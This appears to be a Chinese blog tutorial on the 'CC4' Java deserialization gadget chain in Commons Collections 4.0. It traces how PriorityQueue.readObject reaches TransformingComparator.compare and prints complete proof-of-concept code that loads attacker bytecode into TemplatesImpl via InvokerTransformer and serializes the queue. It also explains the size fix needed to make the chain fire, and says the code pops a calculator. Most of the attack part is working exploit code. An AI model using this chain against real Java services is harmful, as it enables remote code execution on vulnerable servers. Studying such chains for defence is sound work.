CC4链

CC4链

之前讲的几条链子,都是在commons-collections3.2.1版本之前的攻击链,cc4是在commons-collections4.0版本中的一条链子

实际上,这条链子还是换汤不换药,只是中间执行的方式换了一下,后面还是命令执行和代码执行两种方式

CC4攻击链分析

调用transform方法

这里用到的是TransformingComparatorcompare方法,他的属性是public属性,且这个类继承了Serializable接口

1
2
3
4
5
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

调用compare

现在只需要找到一个类的readObject方法中调用了compare,实际上在PriorityQueuereadObject方法中调用到了,因为它也是在其他函数中层层调用的,我们这里就直接正向寻找了

以下是函数的调用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
......
heapify();
}

private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

小芝士:

有同学可能问了,为什么这条链必须是在common collections4.0的情况下呢,我们看一下区别

因为在3.2.1的版本内是不没有继承序列化接口的,而4.0中继承了序列化接口

1
2
3
4
5
//common collections3.2.1
public class TransformingComparator implements Comparator

//common collections4.0
public class TransformingComparator<I, O> implements Comparator<I>, Serializable

现在来写一下这个链子,和之前的链子也是大同小异

我们现在只需要把chainedTransformer放入TransformingComparator,再将TransformingComparator放入priorityQueue优先队列里面(这两个类的构造函数如下)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public TransformingComparator(final Transformer<? super I, ? extends O> transformer) {
this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}

public TransformingComparator(final Transformer<? super I, ? extends O> transformer,
final Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}

public PriorityQueue(Comparator<? super E> comparator) {
this(DEFAULT_INITIAL_CAPACITY, comparator);
}
public PriorityQueue(int initialCapacity,
Comparator<? super E> comparator) {
// Note: This restriction of at least one is not actually needed,
// but continues for 1.5 compatibility
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;
}

实现如下,这样的话链子的逻辑也就走完了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();

Class tl = templates.getClass();
Field name = tl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "CC3");

byte[] code= Files.readAllBytes(Paths.get("F:\\temporary\\Test.class"));
byte[][] codes={code};
Field bytecodes = tl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, codes);

Field tfactory = tl.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null, null)
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

serialize(priorityQueue);
unserialize("ser.bin");
}

后续调整

自己思考与尝试

但是运行后却无视发生,应该是在链子运行时有一些条件导致链子没有完整的走下来,我们可以通过动态调试来找到问题出处

最后在这里发现,由于size的原因,并没有走到siftDown方法内,由于size无符号右移以后,为零,所以并没有进行遍历操作,因此我想我们可以通过反射修改size的值为2就可以进行遍历操作

>>> : 无符号右移,忽略符号位,空位都以0补齐

1
2
3
4
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

反射修改如下,修改后成功执行

1
2
3
4
Class<? extends PriorityQueue> aClass = priorityQueue.getClass();
Field size = aClass.getDeclaredField("size");
size.setAccessible(true);
size.set(priorityQueue, 2);

实际

在这个地方,白日梦组长是向其中add了两个东西,使他的size变为2,但是在这里add方法也会触发compare方法,就是我们说的cc1的老毛病,也是可以构造时传入无用的东西,等add完成后反射修改回去
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public boolean add(E e) {
return offer(e);
}

public boolean offer(E e) {
......
else
siftUp(i, e);
return true;
}

private void siftUp(int k, E x) {
if (comparator != null)
siftUpUsingComparator(k, x);
else
siftUpComparable(k, x);
}

private void siftUpUsingComparator(int k, E x) {
while (k > 0) {
int parent = (k - 1) >>> 1;
Object e = queue[parent];
if (comparator.compare(x, (E) e) >= 0)
break;
queue[k] = e;
k = parent;
}
queue[k] = x;
}

将反射改为add方法后,也可以成功弹出计算器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();

Class tl = templates.getClass();
Field name = tl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "CC3");

byte[] code= Files.readAllBytes(Paths.get("F:\\temporary\\Test.class"));
byte[][] codes={code};
Field bytecodes = tl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, codes);

Field tfactory = tl.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null, null)
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);


priorityQueue.add(1);
priorityQueue.add(1);

serialize(priorityQueue);
unserialize("ser.bin");
}